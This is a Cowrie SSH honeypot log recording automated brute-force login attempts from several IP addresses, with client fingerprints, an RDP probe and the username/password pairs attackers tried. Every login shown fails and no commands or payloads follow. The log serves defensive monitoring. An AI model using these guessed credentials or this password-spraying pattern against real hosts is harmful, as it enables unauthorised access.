{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:55:11.001629Z","src_ip":"37.143.61.84","session":"ecbd66918ba2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:55:11.092402Z","src_ip":"37.143.61.84","session":"ecbd66918ba2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Galaxy123","message":"login attempt [root/Galaxy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:55:11.805888Z","src_ip":"37.143.61.84","session":"ecbd66918ba2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:55:12.994863Z","src_ip":"37.143.61.84","session":"ecbd66918ba2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.136.152","src_port":55398,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b60d0d2781c","protocol":"ssh","message":"New connection: 43.156.136.152:55398 (10.17.0.5:22) [session: 3b60d0d2781c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:55:15.603045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:55:15.609530Z","src_ip":"43.156.136.152","session":"3b60d0d2781c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:55:15.850456Z","src_ip":"43.156.136.152","session":"3b60d0d2781c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":44646,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a82c7185c8a","protocol":"ssh","message":"New connection: 43.228.112.254:44646 (10.17.0.5:22) [session: 1a82c7185c8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:55:16.769444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:55:16.774252Z","src_ip":"43.228.112.254","session":"1a82c7185c8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gitpassword","message":"login attempt [root/gitpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:55:16.842104Z","src_ip":"43.156.136.152","session":"3b60d0d2781c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:55:16.997272Z","src_ip":"43.228.112.254","session":"1a82c7185c8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"compaqpresario","message":"login attempt [root/compaqpresario] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:55:17.914315Z","src_ip":"43.228.112.254","session":"1a82c7185c8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:55:18.096950Z","src_ip":"43.156.136.152","session":"3b60d0d2781c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:55:19.138324Z","src_ip":"43.228.112.254","session":"1a82c7185c8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":45106,"dst_ip":"10.17.0.5","dst_port":22,"session":"98a250a92ca4","protocol":"ssh","message":"New connection: 103.75.182.198:45106 (10.17.0.5:22) [session: 98a250a92ca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:55:22.222569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:55:22.227575Z","src_ip":"103.75.182.198","session":"98a250a92ca4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:55:22.477261Z","src_ip":"103.75.182.198","session":"98a250a92ca4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"funtdenis","message":"login attempt [root/funtdenis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:55:23.220933Z","src_ip":"103.75.182.198","session":"98a250a92ca4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:55:24.470029Z","src_ip":"103.75.182.198","session":"98a250a92ca4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":59138,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb363b1b4466","protocol":"ssh","message":"New connection: 167.172.81.52:59138 (10.17.0.5:22) [session: fb363b1b4466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:55:49.674200Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:55:49.678911Z","src_ip":"167.172.81.52","session":"fb363b1b4466","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:55:49.682244Z","src_ip":"167.172.81.52","session":"fb363b1b4466","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":54204,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0d0c31d49ec","protocol":"ssh","message":"New connection: 103.27.238.120:54204 (159.203.135.109:22) [session: e0d0c31d49ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:55:50.946839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:55:50.951302Z","src_ip":"103.27.238.120","session":"e0d0c31d49ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:55:51.214193Z","src_ip":"103.27.238.120","session":"e0d0c31d49ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1991","message":"login attempt [root/1991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:55:51.992367Z","src_ip":"103.27.238.120","session":"e0d0c31d49ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:55:53.253132Z","src_ip":"103.27.238.120","session":"e0d0c31d49ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":45862,"dst_ip":"10.17.0.5","dst_port":22,"session":"37e9caff66ab","protocol":"ssh","message":"New connection: 109.237.96.109:45862 (10.17.0.5:22) [session: 37e9caff66ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:07.887435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:07.892494Z","src_ip":"109.237.96.109","session":"37e9caff66ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:07.987488Z","src_ip":"109.237.96.109","session":"37e9caff66ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"102938","message":"login attempt [root/102938] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:08.273424Z","src_ip":"109.237.96.109","session":"37e9caff66ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:09.370311Z","src_ip":"109.237.96.109","session":"37e9caff66ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.115.61","src_port":49996,"dst_ip":"10.17.0.5","dst_port":22,"session":"27d3adb5fa80","protocol":"ssh","message":"New connection: 170.106.115.61:49996 (10.17.0.5:22) [session: 27d3adb5fa80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:10.050962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:10.056504Z","src_ip":"170.106.115.61","session":"27d3adb5fa80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:10.130588Z","src_ip":"170.106.115.61","session":"27d3adb5fa80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678aA","message":"login attempt [root/12345678aA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:10.441302Z","src_ip":"170.106.115.61","session":"27d3adb5fa80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:11.514395Z","src_ip":"170.106.115.61","session":"27d3adb5fa80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":15523,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a66c6184477","protocol":"ssh","message":"New connection: 213.209.159.56:15523 (159.203.135.109:22) [session: 1a66c6184477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:13.829756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:13.842765Z","src_ip":"213.209.159.56","session":"1a66c6184477","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:13.927581Z","src_ip":"213.209.159.56","session":"1a66c6184477","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gracelyn","password":"gracelyn","message":"login attempt [gracelyn/gracelyn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:14.328253Z","src_ip":"213.209.159.56","session":"1a66c6184477","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gracelyn","password":"gracelyn1","message":"login attempt [gracelyn/gracelyn1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:15.414676Z","src_ip":"213.209.159.56","session":"1a66c6184477","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gracelyn","password":"gracelyn123","message":"login attempt [gracelyn/gracelyn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:16.505094Z","src_ip":"213.209.159.56","session":"1a66c6184477","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gracelyn","password":"gracelyn1234","message":"login attempt [gracelyn/gracelyn1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:17.589914Z","src_ip":"213.209.159.56","session":"1a66c6184477","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gracelyn","password":"gracelyn12345","message":"login attempt [gracelyn/gracelyn12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:18.680773Z","src_ip":"213.209.159.56","session":"1a66c6184477","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:56:19.768416Z","src_ip":"213.209.159.56","session":"1a66c6184477","protocol":"ssh"}
